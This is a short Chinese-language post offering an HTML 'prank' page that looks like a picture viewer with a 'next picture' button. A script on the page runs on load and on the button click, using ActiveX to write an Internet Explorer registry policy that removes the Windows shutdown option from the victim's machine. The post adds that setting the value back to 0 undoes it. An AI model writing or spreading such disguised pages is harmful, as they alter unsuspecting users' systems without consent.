純屬惡作劇(只對IE浏覽器有效因為要調用ActiveX)
<!-- E-mail:[email protected] Author: dujianing 刪除關機按鈕 --> <!DOCTYPE html> <html> <head> <meta charset="UTF-8"/> <title></title> <script type="text/javascript" language="javascript"> function disableTaskMgr(flg){ var shell = new ActiveXObject("WScript.Shell"); try{ shell.RegWrite("HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoClose", 1,"REG_DWORD") }catch(e){ throw e; } } </script> </head> <body onLoad="disableTaskMgr(true)"> <img src="imgs/2.jpg"/> <button onclick="disableTaskMgr(true)">下一張 </button> </body> </html>
備注:可以惡作劇一下,修改注冊表,把值改為0就能還原